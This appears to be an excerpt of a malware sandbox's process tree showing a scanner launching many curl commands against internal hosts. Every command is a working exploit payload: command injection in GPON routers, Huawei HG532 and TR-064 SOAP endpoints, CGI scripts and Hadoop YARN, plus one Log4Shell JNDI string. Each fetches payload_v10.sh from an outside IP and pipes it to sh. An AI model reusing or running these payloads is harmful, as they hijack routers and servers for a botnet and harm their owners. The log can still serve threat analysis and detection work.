                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.114/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1188
                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -g "http://10.127.0.113/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1220
                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST http://10.127.0.113:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1221
                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.118:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1225
                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -X POST "http://10.127.0.113:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1227
                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.113/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1229
                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.116:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1233
                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.113/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1241
                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.110:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1239
                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.111/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1183
                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.109:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1244
                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.11:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1248
                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.111:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1259
                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.105/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1038
                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.117:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1267
                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.114:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1263
                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.112:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1272
                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.1:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1290
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST http://10.127.0.12:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1309
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.12/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1312
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -X POST "http://10.127.0.12:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1310
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -g "http://10.127.0.12/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1308
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -g "http://10.127.0.119/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1301
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST "http://10.127.0.119:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1303
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -X POST http://10.127.0.119:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1302
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -g "http://10.127.0.120/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1319
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST "http://10.127.0.120:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1321
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -g "http://10.127.0.12:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1307
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.120/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1323
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.113:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1316
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.120/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1322
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.12/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1311
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -g "http://10.127.0.120:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1318
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -X POST http://10.127.0.120:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.119/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1304
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.119/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1305
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -g "http://10.127.0.122:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1342
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -A "\${jndi:ldap://178.132.198.200:1389/Exploit}" http://10.127.0.1/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1343
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -g "http://10.127.0.123:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1335
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -g "http://10.127.0.119:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -g "http://10.127.0.125:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -g "http://10.127.0.122/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1349
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.125/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1366
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -g "http://10.127.0.129:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1387
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -g "http://10.127.0.126:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1384
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.122/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1367
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.128/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1373
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST http://10.127.0.122:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1351
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                curl -s -X POST "http://10.127.0.125:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
